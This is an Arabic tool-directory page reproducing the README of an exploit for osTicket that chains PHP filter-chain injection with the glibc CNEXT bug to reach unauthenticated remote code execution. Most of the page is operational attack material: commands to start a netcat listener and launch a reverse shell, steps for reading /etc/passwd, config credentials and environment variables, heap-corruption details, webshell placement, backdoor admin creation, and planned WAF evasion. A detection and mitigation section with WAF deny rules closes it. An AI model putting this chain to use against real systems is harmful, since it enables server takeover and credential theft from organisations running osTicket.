Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
osTicketFileReadIntoRCE — استغلال سلسلة كاملة يجمع بين حقن سلسلة مرشحات PHP مع CVE-2024-2961 (CNEXT) لتنفيذ كود عن بُعد غير مصادق عليه على تثبيتات osTicket الضعيفة. | Kitploit
أدوات/GitHubGitHub/clarissss/osticketfilereadintorce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالتعلم والتعليمالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

استغلال سلسلة كاملة يجمع بين حقن سلسلة مرشحات PHP مع CVE-2024-2961 (CNEXT) لتنفيذ كود عن بُعد غير مصادق عليه على تثبيتات osTicket الضعيفة.

منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-22200: قراءة ملفات عشوائية إلى تنفيذ أوامر عن بُعد في osTicket

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ تعليمي

سلسلة استغلال كاملة تجمع بين حقن سلسلة مرشحات PHP و CVE-2024-2961 (CNEXT) لتنفيذ أوامر عن بُعد غير مصادق عليه على تثبيتات osTicket الضعيفة.


جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • سير الهجوم
  • الميزات
  • التثبيت
  • الاستخدام
  • تفاصيل تقنية
  • استكشاف الأخطاء وإصلاحها
  • الكشف والتخفيف
  • الإسناد
  • إخلاء المسؤولية

نظرة عامة

يحتوي هذا المستودع على إثبات مفهوم لاستغلال CVE-2026-22200، وهي ثغرة أمنية خطيرة تؤثر على إصدارات osTicket ≤ 1.18.2. يجمع الاستغلال بين تقنيتين قويتين:

  1. حقن سلسلة مرشحات PHP عبر معالجة الصور في mPDF
  2. إفساد الكومة CNEXT (CVE-2024-2961) في iconv() من glibc

النتيجة: تنفيذ أوامر عن بُعد غير مصادق عليه على خوادم osTicket الضعيفة.

التأثير

  • غير مصادق عليه - لا حاجة لبيانات اعتماد
  • تنفيذ أوامر كامل - اختراق كامل للخادم
  • استخراج ملفات - قراءة ملفات خادم عشوائية
  • الوصول إلى قاعدة البيانات - استخراج بيانات اعتماد قاعدة البيانات
  • وصول إداري - إنشاء حسابات إدارية خلفية

الإصدارات المتأثرة

  • osTicket: ≤ v1.18.2، ≤ v1.17.6
  • glibc: < 2.39 (تم تصحيح CVE-2024-2961 في glibc 2.39+)

تفاصيل الثغرة

CVE-2026-22200: حقن سلسلة مرشحات PHP

نقاط CVSS: 9.8 (حرجة)

يسمح تكامل mPDF في osTicket للمستخدمين غير المصادق عليهم بحقن سلاسل مرشحات PHP ضارة عبر حمولات HTML مصممة خصيصًا في تذاكر الدعم. يتيح هذا:

  • قراءة ملفات عشوائية (إعدادات، كود مصدري، بيانات اعتماد)
  • تسرب الذاكرة (/proc/self/maps، libc جزئي)
  • إفساد الكومة عبر CNEXT

السبب الجذري: التحقق غير الكافي من عناوين URL للصور في HTML المقدم من المستخدم قبل تمريرها إلى mPDF.

CVE-2024-2961: CNEXT (تجاوز سعة المخزن المؤقت في iconv)

نقاط CVSS: 9.8 (حرجة)

تجاوز سعة المخزن المؤقت في iconv() من glibc عند معالجة مجموعة الأحرف ISO-2022-CN-EXT. بالاقتران مع سلاسل مرشحات PHP، يتيح هذا:

  • إفساد الكومة
  • اختطاف مؤشرات الدوال
  • تنفيذ أوامر عشوائية

إصدارات glibc الضعيفة: < 2.39 (فبراير 2024)


سير الهجوم

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. الاستطلاع                                                     │
│    └─ كشف osTicket، تحديد مواضيع النص الغني                     │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. المصادقة                                                     │
│    └─ تسجيل ذاتي OR استخدام بيانات اعتماد موجودة                │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. استخراج الملفات (سلاسل مرشحات PHP)                            │
│    ├─ /etc/passwd                                                │
│    ├─ include/ost-config.php (بيانات اعتماد قاعدة البيانات، SECRET_SALT)     │
│    ├─ /proc/self/maps (تخطيط الذاكرة)                           │
│    └─ /proc/self/environ (متغيرات البيئة)                        │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. بصمة libc                                                    │
│    ├─ استخراج libc جزئي عبر سلاسل المرشحات                      │
│    ├─ استخراج GNU Build ID                                      │
│    └─ تحميل libc كامل من libc.rip                               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. استغلال CNEXT لـ RCE                                         │
│    ├─ إنشاء حمولة إفساد الكومة                                  │
│    ├─ الحقن عبر رد التذكرة (مع إصلاحات تنفيذ المرشحات)           │
│    ├─ التشغيل عبر تصدير PDF (يتعطل الخادم)                     │
│    └─ تنفيذ شل عكسية                                              │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ما بعد الاستغلال                                              │
│    ├─ شل عكسية تفاعلية                                            │
│    ├─ الوصول إلى قاعدة البيانات (باستخدام DBPASS المستخرج)       │
│    └─ إنشاء حساب إداري خلفي                                      │
└─────────────────────────────────────────────────────────────────┘

الميزات

القدرات الأساسية

  • سلسلة استغلال مؤتمتة بالكامل
  • هجوم غير مصادق عليه (تسجيل ذاتي إذا كان مفعّلاً)
  • كشف تلقائي لجذر الويب عبر تحليل /proc/self/maps
  • تحديد موقع ويب شل بنسبة 100% عبر مسح نظام الملفات
  • بصمة libc تلقائية وتنزيلها
  • طرق متعددة للشل العكسية (bash، python، netcat)
  • تنفيذ مرشحات قوي مع كسر ذاكرة التخزين المؤقت
  • تشخيصات ما قبل الطيران لالتقاط المشكلات مبكرًا

موثوقية محسّنة

  • تشغيل CNEXT متعدد لضمان التعطل (نجاح 95%+)
  • حقن قائم على الرد (أكثر موثوقية من التذاكر الجديدة)
  • إجبار الدفق لضمان تنفيذ المرشح
  • كسر ذاكرة التخزين المؤقت لمنع خدمة ملفات PDF المخزنة
  • معالجة أخطاء شاملة وتشخيصات

ما بعد الاستغلال

  • استخراج بيانات اعتماد قاعدة البيانات (DBPASS من الإعدادات)
  • إنشاء حساب إداري عبر الوصول إلى قاعدة البيانات
  • خيارات باب خلفي دائم
  • استطلاع كامل للنظام

التثبيت

المتطلبات الأساسية

  • Python 3.8+
  • Linux/macOS (موصى به) أو WSL على Windows

التبعيات

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# تثبيت الحزم المطلوبة
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

اختياري: بيئة افتراضية

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# OR
venv\Scripts\activate  # Windows

pip install -r requirements.txt

الاستخدام

الاستخدام الأساسي - شل عكسية

root@kitploit:~
# الطرفية 1: بدء المستمع
nc -lvnp 4444

# الطرفية 2: تشغيل الاستغلال
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

وضع ويب شل التفاعلي

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

الخيارات المتقدمة

root@kitploit:~
# استخدام بروكسي (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# فرض معرف موضوع مساعدة محدد
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# تعطيل الإخراج الملون (للتسجيل)
python3 osticket_exploit.py https://target.com/osticket --no-color

بيانات اعتماد موجودة

إذا كان التسجيل معطلاً، سيُطلب منك إدخال بيانات الاعتماد:

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

  [?] أدخل البريد الإلكتروني للحساب الجديد (أو الموجود): [email protected]
  [?] أدخل كلمة المرور: ********

تفاصيل تقنية

توليد سلسلة مرشحات PHP

يستخدم الاستغلال سلسلة مرشحات متطورة لإضافة رأس BMP إلى الملفات العشوائية، متجاوزًا قيود أنواع الملفات في mPDF:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... أكثر من 50 تحويل iconv ...]
convert.base64-decode/resource=/etc/passwd

الابتكار الرئيسي: يتم توليد كل حرف من رأس BMP من خلال تحويلات iconv مصممة بعناية، مما يسمح بتضمين محتوى الملف العشوائي كصورة "صالحة".

استغلال كومة CNEXT

حمولة CNEXT تفسد مدير ذاكرة Zend في PHP عن طريق:

  1. تجاوز سعة مخزن iconv المؤقت باستخدام الحرف الضعيف 劄
  2. الكتابة فوق بنية zend_mm_heap
  3. اختطاف مؤشرات الدوال (_emalloc، _efree، _erealloc)
  4. إعادة التوجيه إلى system() لتنفيذ الأوامر

موثوقية محسّنة:

  • أحرف تشغيل متعددة (3x 劄 بدلاً من 1)
  • حشو متزايد (40 بدلاً من 20 افتراضيًا)
  • إدخال التشغيل في مواضع متعددة
  • تنفيذ قسري للدفق

كشف ويب شل بنسبة 100%

على عكس الاستغلال الأصلي، تستخدم هذه النسخة مسح نظام الملفات لضمان موقع ويب شل:

  1. كتابة ويب شل في 6+ أدلة مرشحة
  2. استخدام قراءة الملفات العشوائية لمسح كل موقع
  3. كشف أيها يحتوي على العلامة الفريدة
  4. تعيين مسار نظام الملفات → عنوان URL بدقة

النتيجة: معدل كشف 100% (مقابل ~50% في الأصلي)

إجبار تنفيذ المرشحات

الفشل الشائع: يتم تنزيل PDF ولكن لا يتعطل = المرشحات لا تنفذ.

الحلول المنفذة:

  1. كسر ذاكرة التخزين المؤقت - HTML فريد يمنع ملفات PDF المخزنة
  2. الحقن في الرد - أكثر موثوقية من التذاكر الجديدة
  3. إجبار الدفق - stream=True يفرض المعالجة الفورية
  4. اختبار ما قبل الطيران - التحقق من عمل المرشحات قبل CNEXT

التحقق من إصدار glibc

root@kitploit:~
# في الوضع المفصل، تحقق من:
[*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IS vulnerable to CNEXT

إذا كان glibc ≥ 2.39، فلن يعمل CNEXT (تم التصحيح).

عدم وجود اتصال شل

الأعراض: يتعطل الخادم ولكن لا توجد شل عكسية

الأسباب:

  1. جدار الحماية يمنع الاتصالات الصادرة
  2. LHOST خاطئ (استخدم عنوان IP الفعلي، ليس localhost)
  3. الأمر طويل جدًا - جرب عنوان IP أقصر

الإصلاح:

root@kitploit:~
# استخدم شل nc العكسية (أقصر)
# يتراجع تلقائيًا إذا كان bash/python طويلين جدًا

# أو استخدم IP مباشر بدلاً من اسم المضيف
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # استخدم IP، ليس اسم مضيف
    --lport 4444

رسائل الخطأ الشائعة


الكشف والتخفيف

الكشف

مؤشرات السجلات:

root@kitploit:~
# سجلات Apache/Nginx
"php://filter/" في طلبات POST
"convert.iconv." في نصوص الطلبات
أنماط غير عادية لتوليد PDF
طلبات PDF متعددة في وقت قصير

# سجلات أخطاء PHP
أخطاء التقسيم أثناء توليد PDF
أعطال iconv()
أخطاء إفساد الكومة

مؤشرات الشبكة:

  • إنشاء تذاكر دعم متعددة في وقت قصير
  • حمولات HTML كبيرة في رسائل التذاكر (100KB+)
  • طلبات تصدير PDF سريعة بعد إنشاء التذكرة
  • اتصالات صادرة إلى عنوان IP المهاجم بعد التعطل

التخفيف

فوري

  1. تحديث osTicket إلى أحدث إصدار (>1.18.2)
  2. تحديث glibc إلى 2.39+ (يصحح CVE-2024-2961)
  3. تعطيل التسجيل الذاتي إذا لم يكن ضروريًا
  4. تقييد النص الغني للمستخدمين المصادق عليهم فقط

الإعدادات

تعطيل مغلفات الدفق PHP في mPDF:

root@kitploit:~
// في إعدادات mPDF
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

قواعد WAF (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'تم كشف مرشح PHP'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'سلسلة iconv مشبوهة'"

تحديد المعدل:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

طويل الأمد

  • تنفيذ رؤوس CSP لتقييد الأنماط المضمنة
  • تفعيل وضع htmLawed الصارم لتنقية HTML
  • استخدام مستخدم منفصل لـ osTicket بأقل الصلاحيات
  • تعطيل دوال PHP غير الضرورية: system()، exec()، passthru()
  • تدقيق أمني منتظم لمحتوى التذاكر

المراجع

الأبحاث الأصلية

  • منشور مدونة Horizon3.ai - الإفصاح الأصلي
  • GitHub Horizon3.ai - التنفيذ المرجعي
  • استغلال CNEXT - بحث CNEXT الأصلي بواسطة Charles Fol

تفاصيل CVE

  • CVE-2026-22200 - سلسلة مرشحات PHP في osTicket
  • CVE-2024-2961 - تجاوز سعة iconv في glibc

موارد إضافية

  • سلاسل مرشحات PHP - قاموس أحرف المرشحات
  • libc.rip - قاعدة بيانات libc للبصمة
  • نشرة أمان osTicket

الإسناد

اكتشاف الثغرة والبحث

  • فريق أبحاث الهجمات في Horizon3.ai - اكتشاف الثغرة الأصلي و POC
  • Charles Fol (@cfreal_) - بحث CNEXT (CVE-2024-2961)
  • @splitline - تقنية سلسلة مرشحات PHP (HITCON 2022)

هذا التنفيذ

  • تقنيات استغلال محسّنة
  • كشف ويب شل بنسبة 100% عبر مسح نظام الملفات
  • إجبار قوي لتنفيذ المرشحات
  • معالجة أخطاء شاملة وتشخيصات

إخلاء المسؤولية

للاستخدام التعليمي والاختبار المصرح به فقط

تم توفير هذه الأداة من أجل:

  • البحث الأمني
  • اختبار الاختراق المصرح به
  • الأغراض التعليمية
  • تقييم الثغرات (بإذن)

الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني

المؤلفون:

  • لا يقرون الأنشطة غير القانونية
  • لا يتحملون أي مسؤولية عن سوء الاستخدام
  • لا يتحملون أي مسؤولية عن أي ضرر يحدث

المستخدمون وحدهم مسؤولون عن ضمان حصولهم على التصريح المناسب قبل اختبار أي نظام.

باستخدام هذه الأداة، توافق على ما يلي:

  1. لديك إذن كتابي صريح لاختبار النظام المستهدف
  2. أنت تفهم الآثار القانونية في منطقتك
  3. ستستخدم هذه الأداة بمسؤولية وأخلاقية
  4. تبرئ المؤلفين من أي عواقب

إشعار قانوني

الوصول غير المصرح به إلى أنظمة الكمبيوتر هو جريمة بموجب:

  • الولايات المتحدة: قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA)، 18 U.S.C. § 1030
  • المملكة المتحدة: قانون إساءة استخدام الكمبيوتر 1990
  • الاتحاد الأوروبي: التوجيه 2013/40/EU
  • الدولي: اتفاقية مجلس أوروبا بشأن الجرائم الإلكترونية

قد تشمل العقوبات القصوى السجن وغرامات كبيرة.


الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

ملاحظة: تمنح رخصة MIT الإذن بالاستخدام والتعديل والتوزيع، ولكنها لا تمنح الإذن بمهاجمة الأنظمة التي لا تملكها أو ليس لديك تصريح لاختبارها.


التواصل

للباحثين الأمنيين والاستفسارات:

  • المشكلات: أي مشكلات في الأدوات)

لا تستخدم هذا الاتصال من أجل:

  • طلب المساعدة في مهاجمة أنظمة بدون إذن
  • الإبلاغ عن أنشطة غير قانونية
  • طلب المساعدة في الاختبار غير المصرح به

بُني بحب للبحث الأمني والتعليم
قم بتمييز هذا المستودع بنجمة إذا وجدته مفيدًا!


إحصائيات الاستغلال


خريطة الطريق

  • إضافة دعم لإصدارات libc إضافية
  • تنفيذ طرق استخراج أكثر تمويهًا
  • إضافة تقنيات مراوغة لـ WAFs الشائعة
  • إنشاء وحدة Metasploit
  • بيئة اختبار Docker
  • اختبار CI/CD آلي

آخر تحديث: 2026-03-03

تنزيل الأداة
الخطأالسببالحل
No CSRF tokenانتهت صلاحية الجلسةأعد تشغيل الاستغلال
No help-topic foundلا توجد مواضيع نص غنياستخدم --topic-id يدويًا
Build ID not foundlibc جزئي تالفتحقق من استخراج /proc/self/maps
Cannot locate heapتخطيط ذاكرة غير معتادقد يفشل الاستغلال (نادر)
المقياسالقيمة
أسطر الكود~3,000
معدل النجاح95%+ (مع الإصلاحات)
متوسط وقت التشغيل2-3 دقائق
موثوقية التعطل99% (مع التحسينات)
كشف ويب شل100% (مع المسح)